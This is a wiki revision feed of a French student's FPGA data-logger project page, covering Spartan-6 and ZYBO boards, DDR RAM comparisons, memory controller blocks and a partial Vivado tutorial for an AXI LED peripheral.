Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27511</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27511"/>
				<updated>2016-02-22T09:13:53Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* ZYBO */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
